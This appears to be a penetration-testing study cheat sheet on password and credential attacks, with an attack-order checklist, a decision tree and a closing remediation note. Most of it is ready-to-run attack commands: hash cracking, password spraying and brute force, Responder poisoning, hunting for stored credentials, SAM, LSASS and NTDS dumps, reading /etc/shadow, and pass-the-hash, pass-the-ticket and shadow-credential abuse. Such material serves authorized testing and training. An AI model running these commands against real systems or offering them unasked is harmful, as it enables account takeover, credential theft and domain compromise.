πŸ›‘οΈ Methodology Checklist

  • Identify hash type before cracking: hashid -m [HASH] / hashcat --identify
  • Order of attack: default creds β†’ credential stuffing β†’ spray β†’ targeted brute β†’ full crack
  • Check lockout policy before any spray: --pass-pol / net accounts
  • Crack: John (CPU/format-auto) or Hashcat (GPU) β€” never both on the same hash
  • Protected files/archives: convert with *2john then crack
  • Have NT hash β†’ PtH directly (no crack needed); have ticket β†’ PtT
  • Hunt for stored creds (files, history, managers, shares) before privesc
  • Document every credential with its source, hash, and method used

🎯 Operational Context

Use when: Master reference for every password/credential attack in the CPTS lifecycle β€” hash cracking, network spraying, capture, credential hunting, OS credential dumps, and pass-the-X reuse. Think Dumber First: Try default creds and known breach data before spraying; spray (1 pass / 30 min) before brute; PtH/PtT before cracking. Never jump to full brute force first. Skip when: N/A β€” master reference document.


⚑ Tactical Cheatsheet

Hash Identification

CommandTactical Outcome
hashid -j [HASH]Identify hash type + John format flag
hashid -m [HASH]Identify hash type + Hashcat mode ID
hashcat --identify hash.txtHashcat-native hash identification
haiti [HASH]Modern hash identifier (ranked guesses)
hashcat --help | grep -i "[PROTOCOL]"Search Hashcat modes by service name

Cracking β€” John & Hashcat

CommandTactical Outcome
john --wordlist=[WORDLIST] [HASH_FILE]John dictionary crack (auto-detect format)
john --format=[FORMAT] --wordlist=[WORDLIST] [HASH_FILE]John crack with explicit format
john --single [HASH_FILE]Single-crack mode β€” mutates username/GECOS metadata
john --show [HASH_FILE]Show already-cracked passwords
john --fork=[CORES] --wordlist=[WORDLIST] [HASH_FILE]CPU parallelism across cores
hashcat -a 0 -m [MODE] [HASH_FILE] [WORDLIST]Hashcat dictionary attack
hashcat -a 0 -m [MODE] [HASH] rockyou.txt -r /usr/share/hashcat/rules/best64.ruleDictionary + best64 rules
hashcat -a 3 -m [MODE] [HASH] '?u?l?l?l?l?d?s'Mask attack (known pattern)
hashcat -m [MODE] [HASH] --showShow cracked results from potfile

Wordlists & Rules

CommandTactical Outcome
cewl [URL] -d 4 -m 6 --lowercase -w wordlist.txtBuild targeted wordlist by spidering a site
cupp -iInteractive profile-based wordlist (OSINT on target)
username-anarchy -i names.txtGenerate username permutations
hashcat --stdout wordlist.txt -r [RULE]Preview mangled candidates a rule produces
john --rules=[RULE] --wordlist=[WORDLIST] [HASH_FILE]Apply John mangling rules

Protected Files & Archives

CommandTactical Outcome
ssh2john [KEY] > ssh.hash && john --wordlist=rockyou.txt ssh.hashSSH private-key passphrase crack
pfx2john [FILE].pfx > pfx.hash && john pfx.hashPEM/PFX certificate passphrase
zip2john [FILE].zip > zip.hash && john --wordlist=rockyou.txt zip.hashPassword-protected ZIP
rar2john [FILE].rar > rar.hash && john rar.hashPassword-protected RAR
7z2john.pl [FILE].7z > 7z.hash && john 7z.hashPassword-protected 7-Zip
office2john [FILE].docx > off.hash && john off.hashMS Office document password
pdf2john [FILE].pdf > pdf.hash && john pdf.hashPDF document password
keepass2john [FILE].kdbx > kp.hash && john kp.hashKeePass database master password
bitlocker2john -i [FILE].vhd | grep "bitlocker\$0" > bl.hash && hashcat -m 22100 bl.hash rockyou.txtBitLocker volume crack

Network β€” Spraying & Stuffing

CommandTactical Outcome
nxc smb [TARGET_IP] -u [USER] -p [PASS] --pass-polRead lockout/password policy FIRST
nxc smb [SUBNET]/24 -u [USER_LIST] -p '[PASS]' --continue-on-successPassword spray across subnet (collect all valid hits)
nxc winrm [TARGET_IP] -u [USER_LIST] -p [PASS_LIST]WinRM spray β€” Pwn3d! = admin
kerbrute passwordspray -d [DOMAIN] --dc [DC_IP] [USER_LIST] '[PASS]'Kerberos pre-auth spray (quieter)
hydra -C [CRED_LIST] ssh://[TARGET_IP]Credential stuffing (-C = user:pass file)
hydra -L [USER_LIST] -P [PASS_LIST] rdp://[TARGET_IP] -t 4RDP brute (low threads to avoid crashes)
hydra -l [USER] -P [PASS_LIST] [TARGET_IP] http-post-form "[PATH]:[BODY]:[FAIL_STR]"Web login form brute

Network β€” Capture & Poisoning

CommandTactical Outcome
sudo tcpdump -i [IFACE] -w capture.pcapCapture traffic to file
sudo tcpdump -i [IFACE] -A | grep -i "pass" --color=autoLive grep traffic for creds
sudo tcpdump -i [IFACE] port 21 or port 23 or port 80 -w capture.pcapCapture only cleartext ports
netsh trace start capture=yes tracefile=C:\trace.etl / netsh trace stopWindows capture start/stop
sudo responder -I [IFACE] -AAnalyze mode β€” passive listen, no poisoning (run first)
sudo responder -I [IFACE] -w -r -fActive poisoning β†’ capture Net-NTLMv2 hashes
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput YWindows-side hash poisoning (PowerShell)

Credential Hunting β€” Windows

CommandTactical Outcome
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.ps1 *.ymlHunt creds in files
(Get-PSReadLineOption).HistorySavePath β†’ type [PATH]PowerShell history file
cmdkey /listStored Credential Manager entries
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"Autologon creds
C:\Temp\lazagne.exe allDump all stored Windows credentials
Snaffler.exe -sAuto-hunt sensitive files across shares
runas /savecred /user:[USER] cmdReuse a saved credential

Credential Hunting β€” Linux

CommandTactical Outcome
for l in .conf .config .cnf; do find / -name "*$l" 2>/dev/null | grep -v "lib|fonts|share|core"; doneHunt config files
grep -rni "password" /home /var/www /etc 2>/dev/nullRecursive cred grep
cat ~/.bash_history ~/.*_history 2>/dev/nullShell history for creds
sudo python3 mimipenguin.pyDump cleartext creds from memory
python3 firefox_decrypt.pyDecrypt Firefox saved logins
sudo python2.7 laZagne.py allDump all stored Linux credentials

Network Shares

CommandTactical Outcome
nxc smb [TARGET_IP] -u [USER] -p [PASS] --sharesList readable/writable shares
nxc smb [TARGET_IP] -u [USER] -p [PASS] --spider [SHARE] --content --pattern "passw"Spider share for keywords
manspider [TARGET_IP] -d [DOMAIN] -u [USER] -p [PASS] -c "password"Crawl shares for cred patterns

OS Credential Dumps β€” Windows

CommandTactical Outcome
reg.exe save hklm\sam C:\sam.save && reg.exe save hklm\system C:\system.save && reg.exe save hklm\security C:\security.saveDump registry hives on target
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCALOffline hash extraction from hives
nxc smb [TARGET_IP] --local-auth -u [USER] -p [PASS] --samRemote SAM dump
nxc smb [TARGET_IP] --local-auth -u [USER] -p [PASS] --lsaRemote LSA secrets dump
rundll32 C:\windows\system32\comsvcs.dll, MiniDump [LSASS_PID] C:\lsass.dmp fullLSASS memory dump (elevated)
pypykatz lsa minidump lsass.dmpParse LSASS dump for all cred types
nxc smb [DC_IP] -u [USER] -p [PASS] -M ntdsutilAutomated NTDS.dit dump
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCALDecrypt domain hashes from NTDS
impacket-secretsdump [DOMAIN]/[USER]:[PASS]@[DC_IP] -just-dc-ntlmDCSync-style remote domain dump

OS Credential Dumps β€” Linux

CommandTactical Outcome
unshadow passwd.bak shadow.bak > hashes.txt && hashcat -m 1800 hashes.txt rockyou.txtUnshadow + crack SHA-512
cat /etc/shadow (root)Read local password hashes

Pass-the-X / Reuse

CommandTactical Outcome
impacket-psexec [USER]@[TARGET_IP] -hashes :[NTLM_HASH]Pass-the-Hash shell
evil-winrm -i [TARGET_IP] -u [USER] -H [NTLM_HASH]PtH WinRM shell
nxc smb [TARGET_IP] -u [USER] -d . -H [NTLM_HASH]PtH auth check across hosts
Rubeus.exe asktgt /domain:[DOMAIN] /user:[USER] /rc4:[NTLM_HASH] /pttOverPass-the-Hash β€” request + inject TGT
Rubeus.exe ptt /ticket:[FILE].kirbiInject Kerberos ticket into session
export KRB5CCNAME=[FILE].ccache && klistLinux: activate stolen ticket
impacket-ticketConverter ticket.ccache ticket.kirbiConvert ticket Linux↔Windows
kinit [USER]@[DOMAIN] -k -t [FILE].keytabLinux: impersonate via keytab
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -dc-ip [DC_IP] [DOMAIN]/[USER] /tmp/ticket.ccachePass-the-Certificate β†’ TGT
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET] --action addShadow Credentials injection

πŸ”¬ Deep Dive & Workflow

Decision Tree β€” What to Attack First

Have a shell?
β”œβ”€ Local admin β†’ SAM/LSASS/NTDS dump β†’ crack or PtH
β”œβ”€ Domain user β†’ credential hunting (shares, files, history)
└─ Limited user β†’ credential hunting + privesc first

Have hashes?
β”œβ”€ NT hash β†’ PtH directly (no crack needed)
β”œβ”€ Kerberos ticket β†’ PtT
└─ Need plaintext β†’ crack with Hashcat (GPU) / John (CPU)

On the network?
β”œβ”€ Passive β†’ tcpdump, Wireshark filters
β”œβ”€ Active poisoning β†’ Responder (LLMNR/NBT-NS)
└─ Share hunting β†’ Snaffler, NetExec spider, MANSPIDER

No creds at all?
β”œβ”€ Default creds β†’ service-specific lists
β”œβ”€ Breach data β†’ credential stuffing (hydra -C)
└─ Username list β†’ spray (1 pass / observation window)

Hash Type Quick Reference

HashModeWhere Found
NT (NTLM)1000SAM, LSASS, NTDS
NetNTLMv25600Responder captures
DCC2 (cached domain)2100SECURITY hive
sha512crypt $6$1800Linux /etc/shadow
Yescrypt $y$(no stable hashcat mode)Modern Linux shadow β€” crack with John
bcrypt $2*$3200App DBs (GPU-hard)
BitLocker22100VHD disk images
KeePass13400.kdbx databases

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Unsure which crackerMultiple optionsHashcat for GPU; John for CPU/format-auto β€” not both on one hash
Spray lockout triggeredWrong observation windowVerify with --pass-pol; window resets after expiry, not per attempt
Default creds list incompleteGeneric listUse seclists/Passwords/Default-Credentials/ per-service lists
Hash mode unknownNeed identifierhashcat --identify / hashid -m / haiti
Attack too slowCPU/GPU bottleneckGPU required for bcrypt; john --fork; crack SHA1/MD5 first
LSASS dump blockedEDR / PPLUse comsvcs.dll MiniDump or nanodump; parse offline with pypykatz
Cracked pass but no reuseAccount scopedTry PtH/spray across hosts with NetExec before assuming dead end

πŸ“ Reporting Trigger

Finding Title: Password Attack Methodology Applied Across All Identified Services Impact: Systematic password attacks β€” default credentials, spraying, hash cracking, and credential reuse β€” provide multiple pathways to valid credentials across all exposed services and user accounts. Root Cause: Absence of MFA, weak password policies, cleartext credential storage, and no anomalous-authentication alerting permit methodical password attacks without detection. Recommendation: Implement MFA across all services. Enforce a strong password policy (12+ chars, no dictionary words). Alert on failed-authentication patterns consistent with spraying. Implement credential-breach monitoring.